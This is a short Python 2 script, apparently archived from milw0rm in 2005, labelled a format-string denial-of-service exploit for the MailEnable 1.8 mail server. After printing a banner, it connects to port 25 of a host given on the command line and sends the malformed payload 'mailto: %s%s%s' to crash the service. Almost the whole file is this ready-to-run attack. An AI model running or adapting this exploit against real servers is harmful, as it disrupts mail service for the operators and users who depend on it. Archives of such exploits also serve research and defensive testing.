56 lines
No EOL
2.6 KiB
Python
Executable file
56 lines
No EOL
2.6 KiB
Python
Executable file
##################################################################
|
|
# #
|
|
# See-security Technologies ltd. #
|
|
# #
|
|
# http://www.see-security.com #
|
|
# #
|
|
##################################################################
|
|
# #
|
|
# MailEnable 1.8 Format String DoS exploit #
|
|
# #
|
|
# Discovered by Mati Aharoni #
|
|
# #
|
|
# Coded by tal zeltzer #
|
|
# #
|
|
##################################################################
|
|
|
|
|
|
import sys
|
|
import time
|
|
import socket
|
|
|
|
|
|
def PrintLogo():
|
|
print "##################################################################"
|
|
print "# #"
|
|
print "# See-security Technologies ltd. #"
|
|
print "# #"
|
|
print "# http://www.see-security.com #"
|
|
print "# #"
|
|
print "##################################################################"
|
|
print "#"+" "*64+"#"
|
|
print "# MailEnable 1.8 Format String DoS exploit #"
|
|
print "#"+" "*64+"#"
|
|
print "# Discovered by Mati Aharoni #"
|
|
print "# #"
|
|
print "# Coded by tal zeltzer #"
|
|
print "#"+" "*64+"#"
|
|
print "#"*66+"\n"
|
|
|
|
|
|
PrintLogo()
|
|
if (len(sys.argv) != 2):
|
|
print "\n\n"
|
|
print sys.argv[0] + " [Target Host]"
|
|
sys.exit()
|
|
sSmtpSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
print "[-] Connecting to " + sys.argv[1]
|
|
sSmtpSocket.connect((sys.argv[1],25))
|
|
print "[-] Connected to " + sys.argv[1]
|
|
print "[-] Sending malformed packet"
|
|
sSmtpSocket.send("mailto: %s%s%s\r\n")
|
|
sSmtpSocket.close()
|
|
print "[-] Malformed packet sent"
|
|
|
|
|
|
# milw0rm.com [2005-03-17] |